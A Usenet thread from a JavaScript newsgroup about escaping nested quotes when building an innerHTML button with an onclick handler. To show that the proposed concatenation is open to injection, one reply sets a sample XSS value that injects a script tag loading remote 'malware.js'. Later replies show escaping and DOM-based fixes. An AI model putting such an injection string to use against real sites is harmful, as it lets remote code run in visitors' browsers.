Discussion:
How to deal with "messy" quotes?
(too old to reply)
justaguy
2016-12-12 00:23:46 UTC
Permalink
HTML:
<html>
<body>
<span id="nav"></span>
</body>
</html>

JavaScript:
<script>

var s = document.getElementById('nav'),
num = 0,
fn = " a new field name ";
/* in my actual code, the var s represent an element dynamically created
but to get key point across I'm using static element here
*/
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";

var newFN = function(f,n) {
console.log(f,n);
}

</script>

Intention:
for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters

Problem:
Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.

Thanks.
JJ
2016-12-12 05:42:48 UTC
Permalink
Post by justaguy
<html>
<body>
<span id="nav"></span>
</body>
</html>
<script>
var s = document.getElementById('nav'),
num = 0,
fn = " a new field name ";
/* in my actual code, the var s represent an element dynamically created
but to get key point across I'm using static element here
*/
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
var newFN = function(f,n) {
console.log(f,n);
}
</script>
for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
Thanks.
Make a rule for yourself.

For me, I always use double quotes (") for HTML and JavaScript codes since
CSS requires double quote to be the quote character.

The only exception is when assigning HTML code into `innerHTML`/`outerHTML`
properties where I'll use single quotes ('). If the HTML code happens to
require single quotes too, I'll escape them. e.g.:

ele.innerHTML = '<span class="notice">There\'s an input error</b>';
justaguy
2016-12-12 17:56:48 UTC
Permalink
Post by JJ
Post by justaguy
<html>
<body>
<span id="nav"></span>
</body>
</html>
<script>
var s = document.getElementById('nav'),
num = 0,
fn = " a new field name ";
/* in my actual code, the var s represent an element dynamically created
but to get key point across I'm using static element here
*/
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
var newFN = function(f,n) {
console.log(f,n);
}
</script>
for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
Thanks.
Make a rule for yourself.
For me, I always use double quotes (") for HTML and JavaScript codes since
CSS requires double quote to be the quote character.
The only exception is when assigning HTML code into `innerHTML`/`outerHTML`
properties where I'll use single quotes ('). If the HTML code happens to
ele.innerHTML = '<span class="notice">There\'s an input error</b>';
Ok. So, which quotes do I need to escape in this case?

I attempted to change
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
to
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + \"," +num+);'>";
by escape the 1 double quotes before a comma.
The text editor seems to indicate that both parameters can be passed down now but browser complains syntax incorrect.

Thanks.
JJ
2016-12-13 11:18:36 UTC
Permalink
Post by justaguy
Ok. So, which quotes do I need to escape in this case?
I attempted to change
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
to
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + \"," +num+);'>";
by escape the 1 double quotes before a comma.
The text editor seems to indicate that both parameters can be passed down now but browser complains syntax incorrect.
Thanks.
Let's shorten and focus on this particular part of the code:

"<input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>"

Separating by the (") characters, when it's formatted, it would end up as:

"<input type='button' value='x' onclick = 'newFN(" //string
+ //operator
fn //variable
+ //operator
" + " //string
, //operator
" +num+);'>" //string

Which has incorrect syntax since the comma end up as a JavaScript operator,
instead of a string.

To ease writing confusing code, format it like above first. And since `fn`
is a string, it must be quoted also (otherwise, `fn` contents will be used
as an expression). Keep in mind that we're createing a HTML code, so the
quotes for the JavaScript code in the `onclick` attribute must be escaped at
HTML level. e.g.:

'<input type="button" value="x" onclick = "newFN(&#39;' //string
+ //operator
fn //string
+ //operator
'&#39;, ' //string
+ //operator
num //number
+ //operator
');">'; //string

Here, I'm using (') for the JavaScript quote and (") for the HTML code
because even if I were to use the quotes the other way around, the browser
will convert (') to (").
JJ
2016-12-13 11:22:56 UTC
Permalink
Post by JJ
Post by justaguy
Ok. So, which quotes do I need to escape in this case?
I attempted to change
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
to
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + \"," +num+);'>";
by escape the 1 double quotes before a comma.
The text editor seems to indicate that both parameters can be passed down now but browser complains syntax incorrect.
Thanks.
"<input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>"
"<input type='button' value='x' onclick = 'newFN(" //string
+ //operator
fn //variable
+ //operator
" + " //string
, //operator
" +num+);'>" //string
Which has incorrect syntax since the comma end up as a JavaScript operator,
instead of a string.
To ease writing confusing code, format it like above first. And since `fn`
is a string, it must be quoted also (otherwise, `fn` contents will be used
as an expression). Keep in mind that we're createing a HTML code, so the
quotes for the JavaScript code in the `onclick` attribute must be escaped at
'<input type="button" value="x" onclick = "newFN(&#39;' //string
+ //operator
fn //string
+ //operator
'&#39;, ' //string
+ //operator
num //number
+ //operator
');">'; //string
Here, I'm using (') for the JavaScript quote and (") for the HTML code
because even if I were to use the quotes the other way around, the browser
will convert (') to (").
So, the complete code should be:

s.innerHTML =
'&nbsp; ' + fn +
'<input type="button" value="x" onclick = "newFN(&#39;' +
fn + '&#39;, ' + num + ');">';
Thomas 'PointedEars' Lahn
2016-12-13 12:10:11 UTC
Permalink
JJ wrote:

var fn = '&#39;)"><script src="https://123.45.67.8/malware.js"></script>';
Post by justaguy
s.innerHTML =
'&nbsp; ' + fn +
'<input type="button" value="x" onclick = "newFN(&#39;' +
fn + '&#39;, ' + num + ');">';
--
PointedEars
FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix>
<https://github.com/PointedEars> | <http://PointedEars.de/wsvn/>
Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.
Thomas 'PointedEars' Lahn
2016-12-12 19:43:57 UTC
Permalink
Post by JJ
For me, I always use double quotes (") for HTML and JavaScript codes since
CSS requires double quote to be the quote character.
Then you are proceeding from a false assumption:

<https://www.w3.org/TR/css-syntax-3/#consume-a-token0>
Post by JJ
The only exception is when assigning HTML code into
`innerHTML`/`outerHTML` properties where I'll use single quotes ('). If
the HTML code happens to require single quotes too, I'll escape them.
ele.innerHTML = '<span class="notice">There\'s an input error</b>';
The resulting markup would not be valid: you have started a “span” element
and ended a “b” element.
--
PointedEars
FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix>
<https://github.com/PointedEars> | <http://PointedEars.de/wsvn/>
Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.
Stefan Ram
2016-12-12 11:07:02 UTC
Permalink
Post by justaguy
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x'
To make it more readable, intersperse line breaks

s.innerHTML = "&nbsp;"
+ fn
+ " <input type='button' value='x'

...

and use helper functions:

q = x => '"' + x + '"';

...

"newFN( "
+ q( fn )
+ ", "

...
Stefan Ram
2016-12-12 11:17:51 UTC
Permalink
Post by Stefan Ram
Post by justaguy
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x'
To make it more readable, intersperse line breaks
s.innerHTML = "&nbsp;"
+ fn
+ " <input type='button' value='x'
Due to automatic semicolon insertation, this might
not always work. Well. So, maybe:

s.innerHTML =
"&nbsp;" +
fn +
" <input type='button' value='x'

...

(I first wrote it this way, but then I noticed that the
»+« sign was moving. So I wanted to align the »+« signs.)
Thomas 'PointedEars' Lahn
2016-12-12 19:50:58 UTC
Permalink
Post by Stefan Ram
Post by justaguy
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x'
To make it more readable, intersperse line breaks
s.innerHTML = "&nbsp;"
+ fn
+ " <input type='button' value='x'
Due to automatic semicolon insertation, this might not always work.
This will always work.
s.innerHTML =
"&nbsp;" +
fn +
" <input type='button' value='x'
Whatever operator code style you choose, the following lines should be
indented:

s.innerHTML = "&nbsp;" +
fn +
" <input type='button' value='x'…";

In implementations of ECMAScript 2016 one may forego the concatenation with
a template literal:

s.innerHTML = `&nbsp;${fn} <input type="button" value="x"…`;

Of course, accessing the “innerHTML” property is seldom justified to begin
with.
...
(I first wrote it this way, but then I noticed that the
»+« sign was moving. So I wanted to align the »+« signs.)
That is what I do:

s = "foo"
+ bar
+ "baz";
--
PointedEars
FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix>
<https://github.com/PointedEars> | <http://PointedEars.de/wsvn/>
Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.
c***@example.com
2016-12-12 17:53:35 UTC
Permalink
Post by justaguy
<html>
<body>
<span id="nav"></span>
</body>
</html>
<script>
var s = document.getElementById('nav'),
num = 0,
fn = " a new field name ";
/* in my actual code, the var s represent an element dynamically created
but to get key point across I'm using static element here
*/
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
var newFN = function(f,n) {
console.log(f,n);
}
</script>
for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
Thanks.
This should work:

<html>
<body>
<span id="nav"></span>
<script>

var s = document.getElementById('nav'),
num = 0,
fn = " a new field name ";
/* in my actual code, the var s represent an element dynamically created
but to get key point across I'm using static element here
*/
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>";

var newFN = function(f,n) {
console.log(f,n);
}

</script>

</body>
</html>

You can make quotes within quotes by escaping them using \.
This way you can pass the arguments as strings.
--
_________________________
/ _ \
| __ _ _| |__ ___ _ _ |
| / _| || | '_ \/ -_) '_| |
| \__|\_, |_.__/\___|_| |
\ |__/ /
-------------------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
justaguy
2016-12-12 18:05:48 UTC
Permalink
Post by justaguy
Post by justaguy
<html>
<body>
<span id="nav"></span>
</body>
</html>
<script>
var s = document.getElementById('nav'),
num = 0,
fn = " a new field name ";
/* in my actual code, the var s represent an element dynamically created
but to get key point across I'm using static element here
*/
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
var newFN = function(f,n) {
console.log(f,n);
}
</script>
for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
Thanks.
<html>
<body>
<span id="nav"></span>
<script>
var s = document.getElementById('nav'),
num = 0,
fn = " a new field name ";
/* in my actual code, the var s represent an element dynamically created
but to get key point across I'm using static element here
*/
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>";
var newFN = function(f,n) {
console.log(f,n);
}
</script>
</body>
</html>
Getting close except that the num var value has not been passed down. And since it's a number we don't need quotes for it as a parameter value. Thanks.
c***@example.com
2016-12-12 18:15:17 UTC
Permalink
Post by justaguy
Post by justaguy
Post by justaguy
<html>
<body>
<span id="nav"></span>
</body>
</html>
<script>
var s = document.getElementById('nav'),
num = 0,
fn = " a new field name ";
/* in my actual code, the var s represent an element dynamically created
but to get key point across I'm using static element here
*/
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
var newFN = function(f,n) {
console.log(f,n);
}
</script>
for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
Thanks.
<html>
<body>
<span id="nav"></span>
<script>
var s = document.getElementById('nav'),
num = 0,
fn = " a new field name ";
/* in my actual code, the var s represent an element dynamically created
but to get key point across I'm using static element here
*/
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>";
var newFN = function(f,n) {
console.log(f,n);
}
</script>
</body>
</html>
Getting close except that the num var value has not been passed down. And since it's a number we don't need quotes for it as a parameter value. Thanks.
This should pass the num variable:
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", "+num+");'>";
justaguy
2016-12-12 22:10:13 UTC
Permalink
Post by c***@example.com
Post by justaguy
Post by justaguy
Post by justaguy
<html>
<body>
<span id="nav"></span>
</body>
</html>
<script>
var s = document.getElementById('nav'),
num = 0,
fn = " a new field name ";
/* in my actual code, the var s represent an element dynamically created
but to get key point across I'm using static element here
*/
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
var newFN = function(f,n) {
console.log(f,n);
}
</script>
for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
Thanks.
<html>
<body>
<span id="nav"></span>
<script>
var s = document.getElementById('nav'),
num = 0,
fn = " a new field name ";
/* in my actual code, the var s represent an element dynamically created
but to get key point across I'm using static element here
*/
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>";
var newFN = function(f,n) {
console.log(f,n);
}
</script>
</body>
</html>
Getting close except that the num var value has not been passed down. And since it's a number we don't need quotes for it as a parameter value. Thanks.
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", "+num+");'>";
Somehow I missed your response.

Yeah, it does, but with the + sign in front of it. And I removed it, so, the code is now:
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" \", "+num+");'>";

It works perfectly. Thank you.
justaguy
2016-12-13 00:56:19 UTC
Permalink
Post by justaguy
Post by c***@example.com
Post by justaguy
Post by justaguy
Post by justaguy
<html>
<body>
<span id="nav"></span>
</body>
</html>
<script>
var s = document.getElementById('nav'),
num = 0,
fn = " a new field name ";
/* in my actual code, the var s represent an element dynamically created
but to get key point across I'm using static element here
*/
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
var newFN = function(f,n) {
console.log(f,n);
}
</script>
for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
Thanks.
<html>
<body>
<span id="nav"></span>
<script>
var s = document.getElementById('nav'),
num = 0,
fn = " a new field name ";
/* in my actual code, the var s represent an element dynamically created
but to get key point across I'm using static element here
*/
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>";
var newFN = function(f,n) {
console.log(f,n);
}
</script>
</body>
</html>
Getting close except that the num var value has not been passed down. And since it's a number we don't need quotes for it as a parameter value. Thanks.
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", "+num+");'>";
Somehow I missed your response.
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" \", "+num+");'>";
It works perfectly. Thank you.
Ok, now I have a new requirement, that is, to add an ID to the button.
the value of the ID is made of a string and a number.

The following code still hasn't escaped some quotes. How to fix it? Thanks.

var s2;
s2 = "&nbsp;"
+ fn +
" <input type='button' id="NewEl"+num value='x' onclick = 'newFN(\""+fn+"\" + "+num+");'>";
c***@example.com
2016-12-13 11:49:57 UTC
Permalink
Post by justaguy
Post by justaguy
Post by c***@example.com
Post by justaguy
Post by justaguy
Post by justaguy
<html>
<body>
<span id="nav"></span>
</body>
</html>
<script>
var s = document.getElementById('nav'),
num = 0,
fn = " a new field name ";
/* in my actual code, the var s represent an element dynamically created
but to get key point across I'm using static element here
*/
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
var newFN = function(f,n) {
console.log(f,n);
}
</script>
for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
Thanks.
<html>
<body>
<span id="nav"></span>
<script>
var s = document.getElementById('nav'),
num = 0,
fn = " a new field name ";
/* in my actual code, the var s represent an element dynamically created
but to get key point across I'm using static element here
*/
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>";
var newFN = function(f,n) {
console.log(f,n);
}
</script>
</body>
</html>
Getting close except that the num var value has not been passed down. And since it's a number we don't need quotes for it as a parameter value. Thanks.
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", "+num+");'>";
Somehow I missed your response.
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" \", "+num+");'>";
It works perfectly. Thank you.
Ok, now I have a new requirement, that is, to add an ID to the button.
the value of the ID is made of a string and a number.
The following code still hasn't escaped some quotes. How to fix it? Thanks.
var s2;
s2 = "&nbsp;"
+ fn +
" <input type='button' id="NewEl"+num value='x' onclick = 'newFN(\""+fn+"\" + "+num+");'>";
This should work:

s2.innerHTML = "&nbsp;"
+ fn +
" <input type='button' id='NewEl"+num+"' value='x' onclick = 'newFN(\""+fn+"\" + "+num+");'>";

If NewEl is meant to be the string "NewEl" then you need to put it between quotes or else it will be be
interpreted as a variable.
And num and the + operator should be outside the quotes since num is meant to be a variable and +
is meant to be the concatenation operator, but if you put them between quotes they will just be
seen as being the strings "num" and "+" respectively.

BTW the s2 button would call newFN while leaving n undefined so that parameter could be removed.
Thomas 'PointedEars' Lahn
2016-12-13 12:17:59 UTC
Permalink
Post by c***@example.com
Post by justaguy
var newFN = function(f,n) {
^^^
Post by c***@example.com
Post by justaguy
console.log(f,n);
}
[…]
s2.innerHTML = "&nbsp;"
+ fn +
" <input type='button' id='NewEl"+num+"' value='x' onclick =
^ ^
Post by c***@example.com
'newFN(\""+fn+"\" + "+num+");'>";
^^^^^^^^^^^^^^
It does not. (The value of) “num” has to be (the value of) the *second*
argument to newFN().
Post by c***@example.com
If NewEl is meant to be the string "NewEl" then you need to put it between
quotes or else it will be be interpreted as a variable.
And num and the + operator should be outside the quotes since num is meant
to be a variable and + is meant to be the concatenation operator, but if
you put them between quotes they will just be seen as being the strings
"num" and "+" respectively.
BTW the s2 button would call newFN while leaving n undefined so that
parameter could be removed.
What a load of nonsense. Blind leading the blind.
--
PointedEars
FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix>
<https://github.com/PointedEars> | <http://PointedEars.de/wsvn/>
Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.
c***@example.com
2016-12-13 18:32:59 UTC
Permalink
Post by Thomas 'PointedEars' Lahn
Post by c***@example.com
Post by justaguy
var newFN = function(f,n) {
^^^
Post by c***@example.com
Post by justaguy
console.log(f,n);
}
[…]
s2.innerHTML = "&nbsp;"
+ fn +
" <input type='button' id='NewEl"+num+"' value='x' onclick =
^ ^
Post by c***@example.com
'newFN(\""+fn+"\" + "+num+");'>";
^^^^^^^^^^^^^^
It does not. (The value of) “num” has to be (the value of) the *second*
argument to newFN().
It does work. In javascript parameters default to undefined so if newFN
is called with only 1 argument then it will work and the second parameter
will be set to undefined.
Thomas 'PointedEars' Lahn
2016-12-13 18:47:59 UTC
Permalink
Post by c***@example.com
Post by Thomas 'PointedEars' Lahn
Post by c***@example.com
On Monday, December 12, 2016 at 12:53:40 PM UTC-5,
Post by justaguy
var newFN = function(f,n) {
^^^
Post by c***@example.com
Post by justaguy
console.log(f,n);
}
[…]
s2.innerHTML = "&nbsp;"
+ fn +
" <input type='button' id='NewEl"+num+"' value='x' onclick =
^ ^
Post by c***@example.com
'newFN(\""+fn+"\" + "+num+");'>";
^^^^^^^^^^^^^^
It does not. (The value of) “num” has to be (the value of) the *second*
argument to newFN().
It does work.
For suitable values of “work”.
Post by c***@example.com
In javascript
There is no “javascript”.
Post by c***@example.com
parameters default to undefined
In implementations of ECMAScript, the value of formal parameters for which
no argument was passed usually defaults to the “undefined” value.
Post by c***@example.com
so if newFN is called with only 1 argument then it will work
See above.
Post by c***@example.com
and the second parameter will be set to undefined.
This is obviously not what the OP wants, so it is bad advice.

Get a (real) name, and stop misusing the example.com domain.

.
.
.
.
.
--
PointedEars
FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix>
<https://github.com/PointedEars> | <http://PointedEars.de/wsvn/>
Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.
c***@example.com
2016-12-13 19:43:10 UTC
Permalink
Post by Thomas 'PointedEars' Lahn
Post by c***@example.com
Post by Thomas 'PointedEars' Lahn
Post by c***@example.com
On Monday, December 12, 2016 at 12:53:40 PM UTC-5,
Post by justaguy
var newFN = function(f,n) {
^^^
Post by c***@example.com
Post by justaguy
console.log(f,n);
}
[…]
s2.innerHTML = "&nbsp;"
+ fn +
" <input type='button' id='NewEl"+num+"' value='x' onclick =
^ ^
Post by c***@example.com
'newFN(\""+fn+"\" + "+num+");'>";
^^^^^^^^^^^^^^
It does not. (The value of) “num” has to be (the value of) the *second*
argument to newFN().
It does work.
For suitable values of “work”.
It produces the intended result without error in all major browsers.
That seems like a reasonable definition to me.
Post by Thomas 'PointedEars' Lahn
Post by c***@example.com
In javascript
There is no “javascript”.
Guess this room should be renamed to comp.lang.notjavascript then.
Post by Thomas 'PointedEars' Lahn
Post by c***@example.com
parameters default to undefined
In implementations of ECMAScript, the value of formal parameters for which
no argument was passed usually defaults to the “undefined” value.
The author his code is likely meant for browsers.
This means that talking about implementations of ECMAScript in general
might not be as relevant to him as talking about Javascript as implemented
in the major browsers is.
Post by Thomas 'PointedEars' Lahn
Post by c***@example.com
and the second parameter will be set to undefined.
This is obviously not what the OP wants, so it is bad advice.
He edited my code to pass 1 argument instead of 2 which made me think that
he changed his mind and now only wanted to pass 1 argument instead of 2.
And since we do not know what he wants to do with this (newFN seems to
be a mere placeholder for testing purposes) it really is not that obvious what
he wants.
Thomas 'PointedEars' Lahn
2016-12-14 11:24:18 UTC
Permalink
Post by c***@example.com
Post by Thomas 'PointedEars' Lahn
Post by c***@example.com
Post by Thomas 'PointedEars' Lahn
Post by c***@example.com
On Monday, December 12, 2016 at 12:53:40 PM UTC-5,
Post by justaguy
var newFN = function(f,n) {
^^^
Post by c***@example.com
Post by justaguy
console.log(f,n);
}
[…]
s2.innerHTML = "&nbsp;"
+ fn +
" <input type='button' id='NewEl"+num+"' value='x' onclick =
^ ^
Post by c***@example.com
'newFN(\""+fn+"\" + "+num+");'>";
^^^^^^^^^^^^^^
It does not. (The value of) “num” has to be (the value of) the
*second* argument to newFN().
It does work.
For suitable values of “work”.
It produces the intended result without error in all major browsers.
It does not.

| Intention:
| for the s.innerHTML to have a button, with a "+" value/sign, upon click
| of which, it loads a function named "newFN" with two parameters
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Post by c***@example.com
Post by Thomas 'PointedEars' Lahn
Post by c***@example.com
In javascript
There is no “javascript”.
Guess this room should be renamed to comp.lang.notjavascript then.
Fool, this is not an (Web/Internet [relay] chat) room, it is a Usenet
newsgroup.

As for “javascript”, see my sig.
Post by c***@example.com
Post by Thomas 'PointedEars' Lahn
Post by c***@example.com
parameters default to undefined
In implementations of ECMAScript, the value of formal parameters for
which no argument was passed usually defaults to the “undefined” value.
The author his code is likely meant for browsers.
This means that talking about implementations of ECMAScript in general
might not be as relevant to him as talking about Javascript as implemented
in the major browsers is.
My point was your wrong, wannabe terminology.
Post by c***@example.com
He edited my code to pass 1 argument instead of 2 which made me think that
he changed his mind and now only wanted to pass 1 argument instead of 2.
And since we do not know what he wants to do with this (newFN seems to
be a mere placeholder for testing purposes) it really is not that obvious
what he wants.
The record shows, and this thread shows it again, that the OP does not know
what the heck they are doing. Neither do you. It is very obviously cargo
cult programming at best.

As I have showed, string concatenation to build markup from variable values
is _not_ how this is done properly with regard to maintainability, runtime
efficiency, and security, to name just the most important aspects. And, for
sure, the values that are displayed to the user certainly should not
coincide with the values used internally, so, missing HTML escaping aside,
using “fn” in those two places is *wrong*.

Your concluding that the OP’s unexplained omission constitutes a change of
mind is far-fetched, to say the least.


Does it require a formal complaint to your service provider before you stop
abusing the example.com documentation domain?

Does it require lots of people to killfile you before you get yourself a
(real) name?

Or can you, perhaps, just FOAD, before you spread further wannabe nonsense?
Because we really do not need yet another one of you. TIA.
--
PointedEars
FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix>
<https://github.com/PointedEars> | <http://PointedEars.de/wsvn/>
Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.
justaguy
2016-12-14 01:07:10 UTC
Permalink
Post by c***@example.com
Post by justaguy
Post by justaguy
Post by c***@example.com
Post by justaguy
Post by justaguy
Post by justaguy
<html>
<body>
<span id="nav"></span>
</body>
</html>
<script>
var s = document.getElementById('nav'),
num = 0,
fn = " a new field name ";
/* in my actual code, the var s represent an element dynamically created
but to get key point across I'm using static element here
*/
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
var newFN = function(f,n) {
console.log(f,n);
}
</script>
for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
Thanks.
<html>
<body>
<span id="nav"></span>
<script>
var s = document.getElementById('nav'),
num = 0,
fn = " a new field name ";
/* in my actual code, the var s represent an element dynamically created
but to get key point across I'm using static element here
*/
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>";
var newFN = function(f,n) {
console.log(f,n);
}
</script>
</body>
</html>
Getting close except that the num var value has not been passed down. And since it's a number we don't need quotes for it as a parameter value. Thanks.
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", "+num+");'>";
Somehow I missed your response.
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" \", "+num+");'>";
It works perfectly. Thank you.
Ok, now I have a new requirement, that is, to add an ID to the button.
the value of the ID is made of a string and a number.
The following code still hasn't escaped some quotes. How to fix it? Thanks.
var s2;
s2 = "&nbsp;"
+ fn +
" <input type='button' id="NewEl"+num value='x' onclick = 'newFN(\""+fn+"\" + "+num+");'>";
s2.innerHTML = "&nbsp;"
+ fn +
" <input type='button' id='NewEl"+num+"' value='x' onclick = 'newFN(\""+fn+"\" + "+num+");'>";
If NewEl is meant to be the string "NewEl" then you need to put it between quotes or else it will be be
interpreted as a variable.
And num and the + operator should be outside the quotes since num is meant to be a variable and +
is meant to be the concatenation operator, but if you put them between quotes they will just be
seen as being the strings "num" and "+" respectively.
BTW the s2 button would call newFN while leaving n undefined so that parameter could be removed.
Yeah, perfect. This technique of inserting two double quotes inside single quotes for the num var value really does the trick, id='NewEl"+num+"'
Many thanks.
Thomas 'PointedEars' Lahn
2016-12-12 20:19:50 UTC
Permalink
***@example.com wrote:
^^^^^^^^^^^^^^^^^
The From header field of your postings so far is disregarding Netiquette.
Internet is the thing with cables; Usenet is the thing with *people*.

Also, the address part of the From header field of your postings so far
is violating RFC 5536, § 3.1.2 [1] and disregarding RFC 2606, § 2 [2].
Otherwise it would have been possible to notify you of your first mistake
via e-mail [3].

Scorefile adjusted accordingly.

_______
[1] <https://tools.ietf.org/html/rfc5536#section-3.1.2>
[2] <https://tools.ietf.org/html/rfc2606#section-2>
[3] <http://www.interhack.net/pubs/munging-harmful/>
Post by justaguy
var s = document.getElementById('nav'),
num = 0,
fn = " a new field name ";
/* in my actual code, the var s represent an element dynamically created
but to get key point across I'm using static element here
*/
s.innerHTML = "&nbsp;" + fn + " <input type='button' value='x' onclick =
'newFN(\""+fn+" + \", \"+num+\");'>";
The "field name" does not belong in the attribute value, and in a *single*-
quoted string literal *double*-quotes do _not_ need to be escaped (and vice-
versa). Because “num” and “fn” are global, they can be used as-is.
However, the expanded value of “fn” needs to escaped to avoid code
injection:

s.innerHTML = "&nbsp;"
+ fn.replace(/&/g, "&amp;").replace(/</g, "&lt;")
+ " <input type='button' value='x' onclick='newFN(fn, num);'>";

But if one insists that the expansions be in the attribute value, they must
be escaped, too:

String.prototype.escapeHTML = function () {
return this
.replace(/&/g, "&amp;")
.replace(/</g, "&lt;")
.replace(/"/g, "\\$&");
};

fn = fn.escapeHTML();
num = num.escapeHTML();

This is another reason why it is a bad idea to access the “innerHTML”
property this way. The proper way does not require escaping:

/* standards-compliant */
while (s.lastChild) s.removeChild(s.lastChild);

/* proprietary */
s.innerHTML = "";

/* all */
s.appendChild(document.createTextNode("\u00a0 " + fn + " ");

var input = document.createElement("input");

/* ECMAScript 2016 */
Object.assign(input, {
type: "button",
value: "x",
onclick: function () { newFN(fn, num); }
});

/* other */
input.type = "button";
input.value = "x";
input.onclick = function () { newFN(fn, num); };

/* all */
s.appendChild(input);
--
PointedEars
FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix>
<https://github.com/PointedEars> | <http://PointedEars.de/wsvn/>
Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.
justaguy
